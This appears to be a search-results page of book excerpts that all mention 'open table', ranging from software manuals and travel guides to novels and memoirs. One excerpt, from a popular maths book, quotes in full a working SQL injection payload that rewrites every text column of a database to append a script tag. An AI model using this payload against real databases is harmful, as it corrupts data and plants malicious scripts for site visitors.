Table 3.9: Successfully Adding a Fifth Variable to the All-Pairs Matrix Open table as spreadsheet VARIABLE 1 VARIABLE 2 VARIABLE 3 VARIABLE 4 VARIABLE 5 A X 1 E G A Y 0 F H B X 0 F G B Y 1 E H C X 1 F H C Y 0 E G 68 If you try to add yet another variable, it won't fit in the six pairs. Try it with the IJs (the values of Variable 6) in any order, and it just won't work. (See Table 3.10.) Table 3.10: These Six Variables Do Not Fit into the Six Tests in the All-Pairs Matrix Open table as spreadsheet VAR 1 VAR 2 VAR 3 VAR 4 VAR 5 VAR 6 A X 1 E G I A Y 0 F H J B X 0 F G J B Y 1 E H I C X 1 F H J C Y 0 E G I VAR 2 VAR 3 VAR 4 VAR 5 VAR 6 A X 1 E G I A Y 0 F H J B X 0 F G I B Y 1 E H J C X 1 F H J C Y 0 E G I Open table as spreadsheet VAR 1 However, this is easy to fix.
., a boundary case) of a variable, a promised benefit, an allegedly compatible device, or any other promise or statement that can be proved true or false. Each row is a test case. Each cell shows which test case tests which items. Table 3.2: Specification Traceability Matrix Open table as spreadsheet SPEC SPEC SPEC SPEC SPEC SPEC ITEM 1 ITEM 2 ITEM 3 ITEM 4 ITEM 5 ITEM 6 Test Case 1 X Test Case 2 X X X X X X Test Case 3 X X X Test Case 4 X X X 61 Table 3.2: Specification Traceability Matrix Open table as spreadsheet Test Case 5 SPEC SPEC SPEC SPEC SPEC SPEC ITEM 1 ITEM 2 ITEM 3 ITEM 4 ITEM 5 ITEM 6 X X X Test Case 6 TOTALS X 3 2 X 3 3 1 6 If a feature changes, you can see quickly which tests must be reanalyzed and probably rewritten. In general, you can trace back from a given item of interest to the tests that cover it.
Nagios: System and Network Monitoring, 2nd Edition by Wolfgang Barth
To set up a connection to the database nagdb as the user nagios, both parameters are passed on to the plugin: nagios@linux:nagios/libexec$ ./check_mysql -H dbhost -u nagios -d nagdb Uptime: 19031 Threads: 2 Questions: 80 Slow queries: 0 Opens: 12 Flush tables: 1 Open tables: 6 Queries per second avg: 0.004 In contrast to PostgreSQL, with MySQL you can also make contact without establishing a connection to a specific database: nagios@linux:nagios/libexec$ ./check_mysql -H dbhost Uptime: 19271 Threads: 1 Questions: 84 Slow queries: 0 Opens: 12 Flush tables: 1 Open tables: 6 Queries per second avg: 0.004 With a manual connection to the database, with mysql, you can then subsequently change to the desired database, using the MySQL command use: user@linux:~$ mysql -u nagios mysql> use nagdb; Database changed mysql> With this plugin, a subsequent database change is not possible.
/check_multi -f contrib/check_multi.cmd MULTI CRITICAL - 35 plugins checked, 7 critical (network_rsync, proc_acp id, proc_httpd, system_syslog, system_users, nagios_system, dummy_critical), 2 warning (nagios_tac, dummy_warning), 2 unknown (network_if_ethl, dummy_unknown), 24 ok  network_ping PING OK - Packet loss = 0%, RTA = 0.06 ms  network_interfaces OK: host 'localhost', interfaces up: 6, down: 0, dormant: 0, excluded: 0, unused: 0  network_if_eth1 Either a valid snmpkey key (-k) or a ifDescr (-d) must be provided) ...  system_load OK - load average: 0.89, 0.71, 0.71  system_mail TCP OK - 0.000 second response time on port 25  system_mailqueue OK: mailq is empty  system_mysql Uptime: 5573 Threads: 1 Questions: 140 Slow queries : 0 Opens: 137 Flush tables: 1 Open tables: 19 Queries per second avg : 0.025  system_ntp NTP OK: Offset −0.07118669868 secs  system_portmapper OK: RPC program portmapper version 2 udp running  system_rootdisk DISK OK - free space: / 287 MB (31% inode=81%);  system_ssh SSH OK - OpenSSH_4.3p2 Debian-9 (protocol 2.0) ... |MULTI::check_multi::plugins=35 time=10.92 network_interfaces::check_ifs tatus:: up=6,down=0,dormant=0,excluded=0,unused=0 system_load::check_load :: load1=0.890;5.000;10.000;0; load5=0.710;4.000;8.000;0; load15=0.710;3. 000;6.000;0; system_mail:: check_tcp::time=0.000225s;;;0.000000;10.000000 system_mailqueue::check_mailq:: unsent=0;2;4;0 system_ntp::check_ntp::off set=−0.071187s;60.000000;120.000000; system_rootdisk:: check_disk:: /=620M B;909;937;0;957 system_swap::check_swap::swap=3906MB;0;0;0;3906 system_u sers:: check_users::users=25;5;10;0 nagios.org_dns::check_dns::time=0.039 187s;;; 0.000000 nagios.org_http::check_http::time=0.674044s;;;0.000000 s ize=21530B;;;0 The first line of the output—starting with MULTI CRITICAL—summarizes all the executed checks.
JQuery UI by Eric Sarrion
These methods receive the event parameter corresponding to the event, followed by the menus object, which describes the menus associated with the event (the one that opens and the one that closes). This menus object (described below) consists of the following properties: oldHeader jQuery class object corresponding to the menu that is closing. oldContent jQuery class object corresponding to the content menu that is closing. newHeader jQuery class object corresponding to the menu that is opening. newContent jQuery class object corresponding to the content menu that is opening. Table 3-3 describes the options for managing menu events. Table 3-3. Options for managing menu events Option Function options.change The change (event, menus) method is called when selecting a menu (either manually or by the accordion ("activate") method), after the animation has taken place (the selected menu was opened and the previously open menu was closed). options.changestart The changestart (event, menus) method is called when selecting a menu (either manually or by the accordion ("activate") method), before the animation has taken place (the menu that is due to open has not yet opened and the menu that should close has not yet closed).
Nagios: System and Network Monitoring by Wolfgang Barth
To set up a connection to the database nagdb as the user nagios, both parameters are passed on to the plugin: nagios@linux:nagios/libexec$ ./check_mysql -H dbhost -u nagios -d nagdb Uptime: 19031 Threads: 2 Questions: 80 Slow queries: 0 Opens: 12 Flush tables: 1 Open tables: 6 Queries per second avg: 0.004 In contrast to PostgreSQL, with MySQL you can also make contact without establishing a connection to a speciﬁc database: nagios@linux:nagios/libexec$ ./check_mysql -H dbhost Uptime: 19271 Threads: 1 Questions: 84 Slow queries: 0 Opens: 12 Flush tables: 1 Open tables: 6 Queries per second avg: 0.004 With a manual connection to the database, with mysql, you can then subsequently change to the desired database, using the MySQL command use: 120 6.9 Monitoring LDAP Directory Services user@linux:˜$ mysql -u nagios mysql> use nagdb; Database changed mysql> With this plugin, a subsequent database change is not possible.
The Flat White Economy by Douglas McWilliams
"Robert Solow", access to a mobile phone, banking crisis, Big bang: deregulation of the City of London, bonus culture, Boris Johnson, Chuck Templeton: OpenTable:, cleantech, cloud computing, computer age, correlation coefficient, Edward Glaeser, en.wikipedia.org, Erik Brynjolfsson, eurozone crisis, George Gilder, hiring and firing, income inequality, informal economy, Kickstarter, knowledge economy, loadsamoney, low skilled workers, mass immigration, Metcalfe’s law, Network effects, new economy, offshore financial centre, Pareto efficiency, Peter Thiel, Productivity paradox, Robert Metcalfe, Silicon Valley, smart cities, special economic zone, Steve Jobs, working-age population, zero-sum game
They predict that the total UK coffee shop market will exceed 20,000 outlets and £8 billion turnover by 2017, driven by branded coffee chain expansion and non-specialist operator growth.4 The biggest chain, Costa Coffee now owned by Whitbread, has 1,831 branches5 with nearly 80 new openings in the first half of 2014. It expects to have 2,200 branches in 2018. Figure 4.1: Total number of UK coffee shops by outlet and by type with forecasts6 (Source: Allegra Strategies Ltd) Coffee shops represent both a statement of lifestyle for the Flat Whiters and a focal point for creativity. Trendies pride themselves on being coffee connoisseurs, while the coffee shops with their free Wi-Fi and open table arrangements act as ideal meeting places for the creative processes required by Flat White industries. Throughout the day and much of the night, the sight of young people absorbed in silver MacBook screens besides a paper cup is common throughout the East End. Flat Whiters often have fairly cramped accommodation. So the coffee shop is their study, their drawing room, and their dining room. It can even be their bike repair shop – cycle cafes such as ‘Look Mum No Hands!’
The Thank You Economy by Gary Vaynerchuk
Apple's 1984 Super Bowl advert, augmented reality, business process, call centre, Chuck Templeton: OpenTable:, crowdsourcing, en.wikipedia.org, hiring and firing, intangible asset, Jeff Bezos, new economy, pre–internet, Skype, social software, Tony Hsieh
You have to put a cap on that, of course. It can be hard to figure out a complaining person’s intent—are the complaints legitimate, or is the complainer playing games? What you can do, however, is keep good metrics on the client who says something negative about you. If a customer posts on Yelp that he had a terrible experience at a restaurant, the restaurant manager can respond appropriately, tag him with a system like Open Table, which tracks online reservations, and run a report six months later to see whether that customer has returned and how much money he has spent. Scaling One-to-One AJ Bombers is a one-store location, but this kind of customer reward strategy is not limited to small, local businesses. Starbucks has scaled this kind of consumer reward to a national level, and McDonald’s, Einstein Bagels, and KFC have all gotten into it.
Girl Walks Into a Bar . . .: Comedy Calamities, Dating Disasters, and a Midlife Miracle by Rachel Dratch
Besides the fact that Doug became a verb, I’m including his letter because, though this is my story, I’m telling John’s story as well, and I thought you should know that beneath all of my quips or observations, some of which John may feel more comfortable keeping private, and whether or not we are together as a couple or as co-parents, the fact is, this guy did uproot his life from a quiet hamlet across the whole country to a busy loud avenue in New York City so that he could be a daily part of his son’s life. I thought he deserved some credit for that. Not everyone would do that. And I thought Prophet Doug said it better than I ever could. With All Due Respect to Edgar Allan Poe In spite of the fact that I’m not a megastar, occasional perks come along for me because I was at one time on Saturday Night Live. Nothing major. Stuff like an open table at a busy restaurant. I lucked out big-time, though, when I was five months pregnant. I was walking down the street and a guy said, “Hi! I produced your segment on Tony Danza’s show a few years ago.” Not to say I may have blocked out my guest stint on the esteemed yet short-lived Tony Danza talk show, but I didn’t remember this guy. To be friendly, however, I talked to him for a bit and asked what he was doing now, to which he responded that he was working for the Nate Berkus show.
Intrusion Detection With Snort, Apache, Mysql, Php, and Acid by Rafeeq Ur Rehman
Type '\c' to clear the buffer mysql> create database snort; Query OK, 1 row affected (0.00 sec) mysql> use snort Database changed mysql> status -------------- mysql Ver 11.13 Distrib 3.23.36, for redhat-linux-gnu (i386) Connection id: 41 Current database: snort Current user: root@localhost Current pager: stdout Using outfile: '' Server version: 3.23.36 Protocol version: 10 Connection: Localhost via UNIX socket Client characterset: latin1 Server characterset: latin1 UNIX socket: /var/lib/mysql/mysql.sock Uptime: 1 hour 56 min 29 sec Threads: 1 Questions: 107 Slow queries: 0 Opens: 14 Flush tables: 1 Open tables: 7 Queries per second avg: 0.015 -------------- mysql> The following commands are used in this session: The command "mysql -h localhost -u root p" is used to connect mysql client to a database server running on localhost. The "-u root" part shows the database user name used to connect to the database. The "-p" part is used to enter user password on the next line. A welcome message is displayed after login and you get the "mysql>" prompt where you can issue other commands.
Frommer's Irreverent Guide to San Francisco by Matthew Richard Poole
Bay Area Rapid Transit, Chuck Templeton: OpenTable:, game design, glass ceiling, Golden Gate Park, Haight Ashbury, haute cuisine, Loma Prieta earthquake, Maui Hawaii, old-boy network, pez dispenser, sensible shoes, Silicon Valley, South of Market, San Francisco, Torches of Freedom, upwardly mobile
Then there’s the elevated wooden deck outside the gay hangout Cafe Flore in the Castro. On a foggy day, it’s like being in one of those pensive French movies. On a sunny day, it’s like being on the French Riviera. But no matter what the weather, it’s almost impossible to get a deck seat unless you’re there at opening time (7am) or have the patience to wait for someone to leave—and can sprint to the open table faster than anyone else. DINING How about a little fresh air?... San Francisco’s Bayside Basking If you’re lucky enough to be in San Francisco on one of those rare hot days, then don’t waste those fleeting sunny moments lunching inside. Call for directions and head to The Ramp, a favorite bayside hangout among inthe-know locals. The fare is of the basic pub grub variety— burgers, sandwiches, salads, and soups from $8 to $13— but the rustic boatyard environment and patio seating make this a relaxing place to dine in the sun.
Humble Pi: A Comedy of Maths Errors by Matt Parker
8-hour work day, Affordable Care Act / Obamacare, bitcoin, British Empire, Brownian motion, Chuck Templeton: OpenTable:, collateralized debt obligation, computer age, correlation does not imply causation, crowdsourcing, Donald Trump, Flash crash, forensic accounting, game design, High speed trading, Julian Assange, millennium bug, Minecraft, obamacare, orbital mechanics / astrodynamics, publication bias, Richard Feynman, Richard Feynman: Challenger O-ring, selection bias, Tacoma Narrows Bridge, Therac-25, value at risk, WikiLeaks, Y2K
And given that over three hundred children in the USA since 1990 have been named Abcde, it’s worth spelling this out: don’t name your child anything like Fake, Null or DECLARE @T varchar(255), @C varchar(255); DECLARE Table_Cursor CURSOR FOR SELECT a.name, b.name FROM sysobjects a, syscolumns b WHERE a.id = b.id AND a.xtype = 'u' AND (b.xtype = 99 OR b.xtype = 35 OR b.xtype = 231 OR b.xtype = 167); OPEN Table_Cursor; FETCH NEXT FROM Table_Cursor INTO @T, @C; WHILE (@@FETCH_STATUS = 0) BEGIN EXEC('update [' + @T + '] set [' + @C + '] = rtrim(convert(varchar,[' + @C + ']))+ ''<script src=3e4df16498a2f57dd732d5bbc0ecabf881a47030952a.9e0a847cbda6c8</script>'''); FETCH NEXT FROM Table_Cursor INTO @T, @C; END; CLOSE Table_Cursor; DEALLOCATE Table_Cursor; That last one is not even a joke. It looks like I fell asleep on my keyboard but it is actually a fully functional computer program that will scan through a database without needing to know how it is arranged.
Baghdad Without a Map and Other Misadventures in Arabia by Tony Horwitz
, they're already off, leaving you at the wrong gate beside a blind old man and a veiled woman trying to change her baby's diaper. In flight, the mayhem resumes. Most Middle East stewardesses make quick work of the safety demonstration, or dispense with it altogether. Given the condition of the “safety features,” this is understandable. As the plane rattles down the runway, luggage compartments fly open, tables pop out and stuffed toy camels bounce down the aisle. The only thing that never jars loose is the oxygen mask, ripped out years ago for emergency use as a diaper or ripped out years ago when the cabin last depressurized somewhere over the desert. Just before takeoff, the NO SMOKING sign flicks on, which is the signal for passengers on both sides of you to instantly light up. Ninety percent of Arab males smoke, always on airplanes and particularly during takeoff.
Jony Ive: The Genius Behind Apple's Greatest Products by Leander Kahney
Apple II, banking crisis, British Empire, Chuck Templeton: OpenTable:, Computer Numeric Control, Dynabook, global supply chain, interchangeable parts, John Markoff, Jony Ive, Kickstarter, race to the bottom, RFID, side project, Silicon Valley, Steve Ballmer, Steve Jobs, Steve Wozniak, Steven Levy, the built environment, thinkpad, Tim Cook: Apple
The desk is usually bare except for his seventeen-inch MacBook and several colored pencils used for drawing, which are typically arranged neatly on his desk. He doesn’t use an external monitor or other peripheral equipment. Directly outside Jony’s office are four large wooden project tables that are used to present prototype products to executives. This was where Steve Jobs gravitated when he visited the studio. In fact, the studio setup gave Jobs the idea for the big open tables in the Apple stores. Each table is dedicated to a different project—one for MacBooks, another for the iPad, the iPhone and so on. They are used to display models and prototypes of whatever Jony has to show Jobs and other executives. The models are covered at all times with black cloth. Next to Jony’s office and the presentation tables is a large CAD room, also fronted by a glass wall. The CAD room is home to about fifteen CAD operators (“surface guys”).
You Are Here: Why We Can Find Our Way to the Moon, but Get Lost in the Mall by Colin Ellard
A Pattern Language, call centre, car-free, Chuck Templeton: OpenTable:, Frank Gehry, global village, Google Earth, Jane Jacobs, Jaron Lanier, job satisfaction, Marshall McLuhan, McMansion, New Urbanism, peak oil, polynesian navigation, Ralph Waldo Emerson, the built environment, The Death and Life of Great American Cities, the medium is the message, traveling salesman, urban planning, urban sprawl
The basic cubicle design is still often a mainstay, though the manner in which its enclosing walls encourage or inhibit interactivity, and the effects of cubicle organization on workflow management, are garnering more attention than in previous times. Yet there is much work to be done to understand how space can be utilized to maximize productivity, economy, and job satisfaction. Some offices have tried moving to completely open designs in which employees are not provided with dedicated workspaces at all but are left to organize their own spaces using open tables and mobile technologies, perhaps with a few specialized walled areas to enhance privacy for smaller face-to-face meetings. Though such an open plan might work well for certain types of activities, especially for very small companies, it is less likely to be satisfactory for larger institutions, unless those institutions can rely heavily on mobile communications and are willing to encourage telecommuting.
The Big U by Neal Stephenson
At times she thought that they were planting spies in her path to take down statistics on how many behavioral standards she broke, or to drive her crazy by asking why she had really resigned the Presidency. She was annoyed but not surprised to find herself eating dinner with Mari Meegan, Mari’s second cousin and Toni one night. Relaxed from a racquetball game, she made no effort to scan her route through the Caf for telltale ski masks. So as she danced and sideslipped her way toward what looked like an open table, she was blindsided by a charming squeal from right next to her. “Sarah!” Too slow even to think of pretending not to hear, she looked down to see the three color-coordinated ski masks looking back at her expectantly. She despised them and never wanted to see them again, ever, but she also knew there was value in following social norms, once in a while, to forestall hatred and God knows what kinds of retribution.
Dark Pools: The Rise of the Machine Traders and the Rigging of the U.S. Stock Market by Scott Patterson
algorithmic trading, automated trading system, banking crisis, bash_history, Bernie Madoff, butterfly effect, buttonwood tree, buy and hold, Chuck Templeton: OpenTable:, cloud computing, collapse of Lehman Brothers, computerized trading, creative destruction, Donald Trump, fixed income, Flash crash, Francisco Pizarro, Gordon Gekko, Hibernia Atlantic: Project Express, High speed trading, Joseph Schumpeter, latency arbitrage, Long Term Capital Management, Mark Zuckerberg, market design, market microstructure, pattern recognition, pets.com, Ponzi scheme, popular electronics, prediction markets, quantitative hedge fund, Ray Kurzweil, Renaissance Technologies, Sergey Aleynikov, Small Order Execution System, South China Sea, Spread Networks laid a new fibre optics cable between New York and Chicago, stealth mode startup, stochastic process, transaction costs, Watson beat the top human players on Jeopardy!, zero-sum game
Generation after generation of computerized mini-BOT traders dying and breeding and mutating would lead, eventually, to profitable strategies. Or so they hoped. Andre and Teller spent a great deal of time hunting for unique ways to grab information from the Internet. For instance, one way to gauge the bullishness of traders in a way that’s not currently measured might be to ping the online restaurant reservation site Open Table, looking specifically at expensive haunts around Wall Street. Heavy bookings might signal that traders had grown optimistic about the market’s prospects. While that signal alone would never be enough to trade on, when added to dozens or even hundreds of other signals, a clearer picture might emerge. Deploying such techniques, Cerebellum’s Invention Machine struck gold: Andre and Teller discovered an anomaly in the market that appeared to generate a nearly perfect, steady return of about 7 percent a year.
Becoming Bulletproof: Protect Yourself, Read People, Influence Situations, and Live Fearlessly by Evy Poumpouras
(Though I’ll admit that when Barbara first told me about it, my response was, “Great! What’s a Coachella?”) When you’re a Secret Service protectee, you’re not only physically protected 24/7, but most of your daily logistics are handled as well. You don’t have to drive, find parking, or fill the car up with gas, because, well… you don’t drive—we drive you. You don’t have to stand in line at the airport because we escort you through. You don’t wait for an open table at a restaurant or even choose your own seat, because we’ve already handpicked it for you. You can go anywhere and do anything with little worry because we’ve taken the necessary safety precautions far in advance. This type of personal attention tends to increase a protectee’s confidence as to what they can do because they know someone else is there to worry about the minutiae of getting it done.
Bread, Wine, Chocolate: The Slow Loss of Foods We Love by Simran Sethi
Chuck Templeton: OpenTable:, Food sovereignty, Intergovernmental Panel on Climate Change (IPCC), invisible hand, Louis Pasteur, microbiome, phenotype, placebo effect, Skype, The Wealth of Nations by Adam Smith, women in the workforce
She smiled, checked off my reservation—and ushered me to the worst table in the restaurant, right next to the drink station with a view of the sink. I withered and shook my head. “No.” “¿Cuál es el problema?” the hostess asked. “No. Imposible,” I said. I wasn’t going to settle. She raised her hands and swept them around the restaurant. “Es lo que tenemos.” It’s what we have. I followed her gesture with my own, jabbing in the air at several open tables. She tried to explain they were for bigger parties and suggested a seat at the bar, explaining I could eat the full meal there. “No.” I was holding firm. I could clearly see there were nicer two-tops than what she had offered. My table for one would have to be better. She gave me a “Well, you can leave” kind of shrug and turned her head back toward the line of people queued in front of the hostess stand.
The Windup Girl by Paolo Bacigalupi
There are times when he thinks he understands how the world works, and then, every so often, he lifts the lid of some new part of the divine city and finds roaches scuttling where he never expected. Something new, indeed. He goes to the next food cart, stacked with trays of chile-laden pork and RedStar bamboo tips. Fried snakehead plaa, battered and crisp, pulled from the Chao Phraya River that day. He orders more food. Enough for both of them, and Sato for drinking. He settles at an open table as the food is brought out. Teetering on a bamboo stool at the end of his day, with rice beer warming his belly, Jaidee can't help smiling at his dour subordinate. As usual, even with good food before her, Kanya remains herself. "Khun Bhirombhakdi was complaining about you at headquarters," she says. "He said he would go to General Pracha, and have your smiling lips ripped off." Jaidee scoops chiles into his mouth.
Stamping Butterflies by Jon Courtenay Grimwood
Tris could tell from the lag it left between her question and its answer. "They'll die," it said. "Land in a lake." "What?" "Find a lake," Tris said. "Then land in it. Which bit of that don't you understand?" "If I land in a lake," said the yacht, "then I'm going to die." "You're not alive. You told me so yourself. A C-class semi. Do semiAIs qualify as sentient? I don't think so." She stuck her head further inside the newly opened table and followed what looked like a rainbow twisting together towards a blue light. "What happens if I touch this?" "We crash a little earlier than intended," said the yacht icily. And then it said nothing for a very long time until: "Lake," said the ship. Rocky cliffs rising on both sides and barren peaks, now higher than the ship, shrouded in mist and fringed with ice. Under them hung a fat nebula of cloud, mountainous with snow.
A Man for All Markets by Edward O. Thorp
3Com Palm IPO, Albert Einstein, asset allocation, beat the dealer, Bernie Madoff, Black Swan, Black-Scholes formula, Brownian motion, buy and hold, buy low sell high, carried interest, Chuck Templeton: OpenTable:, Claude Shannon: information theory, cognitive dissonance, collateralized debt obligation, Credit Default Swap, credit default swaps / collateralized debt obligations, diversification, Edward Thorp, Erdős number, Eugene Fama: efficient market hypothesis, financial innovation, George Santayana, German hyperinflation, Henri Poincaré, high net worth, High speed trading, index arbitrage, index fund, interest rate swap, invisible hand, Jarndyce and Jarndyce, Jeff Bezos, John Meriwether, John Nash: game theory, Kenneth Arrow, Livingstone, I presume, Long Term Capital Management, Louis Bachelier, margin call, Mason jar, merger arbitrage, Murray Gell-Mann, Myron Scholes, NetJets, Norbert Wiener, passive investing, Paul Erdős, Paul Samuelson, Pluto: dwarf planet, Ponzi scheme, price anchoring, publish or perish, quantitative trading / quantitative ﬁnance, race to the bottom, random walk, Renaissance Technologies, RFID, Richard Feynman, risk-adjusted returns, Robert Shiller, Robert Shiller, rolodex, Sharpe ratio, short selling, Silicon Valley, Stanford marshmallow experiment, statistical arbitrage, stem cell, stocks for the long run, survivorship bias, The Myth of the Rational Market, The Predators' Ball, the rule of 72, The Wisdom of Crowds, too big to fail, Upton Sinclair, value at risk, Vanguard fund, Vilfredo Pareto, Works Progress Administration
My only experience in a casino had been my earlier adventure putting a few coins in a slot machine. After settling into our hotel room, we headed for the casino. Weaving past drinkers, smokers, and slot machines, I found two rows of blackjack tables, separated by an aisle or “pit” complete with reserves of chips, extra cards, and cocktail waitresses who offered alcoholic nirvana to the marks, or suckers, all of whom the pit boss monitored closely. It was early afternoon and the few open tables were busy. Managing to get a seat, I plunked down my entire stake—a stack of ten silver dollars—on the green felt table behind my “betting spot.” I didn’t expect to win, since the odds were slightly against me, but as I expected to build a device to successfully predict roulette and had never gambled before, it was time to get casino experience. I knew virtually nothing about casinos, their history, or how they operated.
CSS: The Definitive Guide by Eric A. Meyer
Seeing the background of table-formatting layers through other layers Captions A table caption is about what you'd expect: a short bit of text that describes the nature of the table's contents. A chart of stock quotes for the fourth quarter of 2003, therefore, might have a caption element whose contents read "Q4 2003 Stock Performance." With the property caption-side, you can place this element either above or below the table, regardless of where the caption appears in the table's structure. (In HTML, the caption element can appear only after the opening table element, but other languages may have different rules.) Captions are a bit odd, at least in visual terms. The CSS specification states that a caption is formatted as if it were a block box placed immediately before (or after) the table's box, with a couple of exceptions. The first is that the caption can still inherit values from the table, and the second is that a user agent ignores a caption's box when considering what to do with a run-in element that precedes the table.
Frommer's Paris 2013 by Kate van Der Boogert
Airbnb, airport security, British Empire, Chuck Templeton: OpenTable:, clean water, eurozone crisis, haute couture, Honoré de Balzac, housing crisis, music of the spheres, place-making, starchitect, sustainable-tourism, urban renewal
At this point, they may switch to English if you are polite and they are capable. If not, have the French translation for your desired date and time ready and be ready to give your name (votre nom?) and the number of people (combien de personnes?) in your party. Having a reservation is crucial, and it will open up a world of authentic and memorable dining experiences. Restaurant Deals Open Table doesn’t operate in Paris, but a local version called The Fork (www.thefork.com) offers online booking for some restaurants, and you can select to view the site in English. Not all of the restaurants we recommend in this chapter are listed on this site, but a few very good ones are, including the Plaza Athenée, Les Ambassadeurs, Goumard, Michel Rostang, The Cristal Room, Caïus, Fish, and La Régalade.
Kiln People by David Brin
Chuck Templeton: OpenTable:, index card, jitney, life extension, pattern recognition, phenotype, price anchoring, prisoner's dilemma, Schrödinger's Cat, telepresence, Vernor Vinge, your tax dollars at work
Living noise that grabs your body like a cloying lover, hampering every move. I don't like this "music," but the garish dancers do, throwing themselves into frenetic collisions that few could mimic in flesh. Bits of clay fly, as if from a potter's wheel. Staunch partiers have a saying -- if your ditto makes it home in one piece, you didn't have a good time. Seating booths line the walls. Others lounge at open tables that project garish holo images -- whirling abstractions, vertigeffigies, or gyrating strippers. Some draw the eye against your will. Sidling around the mob, I pass through a fringe minimum, where the sonic dampers overlap, canceling everything to a hush, like inside a padded coffin. Stray bits of dialogue converge from all over the club. " ... so there's this clamber-amble, creeping up my leg?
Random Family: Love, Drugs, Trouble, and Coming of Age in the Bro by LeBlanc, Adrian Nicole
Mercedes, who was almost four, was more direct; sometimes it was as though she voiced her mother’s unspoken worries and doubts. One day early that winter, Coco took the girls by Lourdes’s. Lourdes was still denying that Domingo had anything to do with why her arm was in a cast. Lourdes was holding court in bed, her long hair loose, a blanket wrapped around her waist like the base of a Christmas tree. Two women sat on the bed beside her, while another scrubbed a blackened pot. Domingo sat at a half-open table, chopping cilantro. He placed fistfuls of the cut greens beside an impressive pile of garlic. A man stood beside him, sipping a beer. When Coco entered, all conversation stopped. Lourdes beckoned her over. The ladies left. With her good arm, Lourdes whisked Nautica up. She held the whole of Nautica’s head in her palm, infant face to Grandma. “Look at this fucking baby!” she shouted gleefully.
Antifragile: Things That Gain From Disorder by Nassim Nicholas Taleb
Air France Flight 447, Andrei Shleifer, banking crisis, Benoit Mandelbrot, Berlin Wall, Black Swan, business cycle, Chuck Templeton: OpenTable:, commoditize, creative destruction, credit crunch, Daniel Kahneman / Amos Tversky, David Ricardo: comparative advantage, discrete time, double entry bookkeeping, Emanuel Derman, epigenetics, financial independence, Flash crash, Gary Taubes, George Santayana, Gini coefficient, Henri Poincaré, high net worth, hygiene hypothesis, Ignaz Semmelweis: hand washing, informal economy, invention of the wheel, invisible hand, Isaac Newton, James Hargreaves, Jane Jacobs, joint-stock company, joint-stock limited liability company, Joseph Schumpeter, Kenneth Arrow, knowledge economy, Lao Tzu, Long Term Capital Management, loss aversion, Louis Pasteur, mandelbrot fractal, Marc Andreessen, meta analysis, meta-analysis, microbiome, money market fund, moral hazard, mouse model, Myron Scholes, Norbert Wiener, pattern recognition, Paul Samuelson, placebo effect, Ponzi scheme, principal–agent problem, purchasing power parity, quantitative trading / quantitative ﬁnance, Ralph Nader, random walk, Ray Kurzweil, rent control, Republic of Letters, Ronald Reagan, Rory Sutherland, selection bias, Silicon Valley, six sigma, spinning jenny, statistical model, Steve Jobs, Steven Pinker, Stewart Brand, stochastic process, stochastic volatility, Thales and the olive presses, Thales of Miletus, The Great Moderation, the new new thing, The Wealth of Nations by Adam Smith, Thomas Bayes, Thomas Malthus, too big to fail, transaction costs, urban planning, Vilfredo Pareto, Yogi Berra, Zipf's Law
There was little exposure to the other wealthy biggies, just as mafia dons don’t socialize with other mafia dons but with their constituents. To a large extent, that’s how my grandfather and great-grandfather lived, as they were local landowners and politicians; power was accompanied by a coterie of dependents. Provincial landowners were required to maintain an occasional “open house,” with an open table for people to come help themselves to the fruits of the wealth. Court life, on the other hand, leads to corruption—the nobleman comes from the provinces, where he is now brought down to size; he faces more flamboyant, wittier persons and feels pressure to prop up his self-esteem. People who would have lost their status in the cities conserve it in the provinces. You cannot possibly trust someone on a treadmill.
The Dead Hand: The Untold Story of the Cold War Arms Race and Its Dangerous Legacy by David Hoffman
active measures, anti-communist, banking crisis, Berlin Wall, Chuck Templeton: OpenTable:, crony capitalism, cuban missile crisis, failed state, joint-stock company, Kickstarter, Mikhail Gorbachev, mutually assured destruction, nuclear winter, Robert Hanssen: Double agent, rolodex, Ronald Reagan, Ronald Reagan: Tear down this wall, Silicon Valley, standardized shipping container, Stanislav Petrov, Thomas L Friedman, undersea cable, uranium enrichment, Vladimir Vetrov: Farewell Dossier, zero-sum game
From another container, they took a rod-shaped ingot, and Weber hefted it, surprised at how heavy the uranium felt. Gift wanted to break off a piece and bring it back as a sample. He asked a technician to take a wood-handled hammer and a chisel to it, but the ingot would not break. Weber went off with another worker to watch him file off some shavings they could take as samples. At first, the technicians handled the uranium in a glove box, but one of them took it out and placed it on an open table in the center of the room. The technician slid a piece of paper under it and began to file the ingot. Sparks flew, like a child's holiday sparkler. "My eyes are lighting up, because I've had this chunk of metal in my hand," Weber recalled. "I know it is bomb material. This uranium metal would require nothing--just being banged into the right shape and more of it to make a bomb. It didn't need any processing.
I Want My MTV: The Uncensored Story of the Music Video Revolution by Craig Marks, Rob Tannenbaum
Bernie Sanders, Bob Geldof, Chuck Templeton: OpenTable:, crack epidemic, crowdsourcing, haute couture, Live Aid, pre–internet, Ronald Reagan, Saturday Night Live, sensible shoes, Skype, Steve Jobs, Steve Wozniak, Steven Levy, upwardly mobile
ROBERT LOMBARD: I became part of the inner circle of Van Halen. I had carte blanche at their offices on Sunset. I ended up living across the street from Dave. We would go out and chase girls. And do drugs. And drink Jack. I had my own bodyguard. When Dave walked in a club it was—and I don’t like to use religious terms—it was like God parting the waters. One night we went to the Troubadour to look for girls and there were no open tables, and they told people they had to leave so we could sit down. Girls would come to our table, lift their skirts up, pull their panties down, and throw ’em at David. Or undo their tops. No one had the charisma David Lee Roth had. He had midgets all over the place who hung out to drink. At that time, I drove a 924 Porsche with a hatchback, and the midgets used to sit in the trunk. MARK GOODMAN: I interviewed David Lee Roth at the U.S.
The Rough Guide to New York City by Martin Dunford
Anton Chekhov, Berlin Wall, Bonfire of the Vanities, Buckminster Fuller, buttonwood tree, car-free, Charles Lindbergh, Chuck Templeton: OpenTable:, clean water, colonial exploitation, colonial rule, desegregation, Donald Trump, East Village, Edward Thorp, Exxon Valdez, Frank Gehry, glass ceiling, haute cuisine, illegal immigration, Jane Jacobs, market bubble, Norman Mailer, paper trading, post-work, Saturday Night Live, sustainable-tourism, The Death and Life of Great American Cities, the High Line, transcontinental railway, Triangle Shirtwaist Factory, upwardly mobile, urban decay, urban planning, urban renewal, white flight, Yogi Berra, young professional
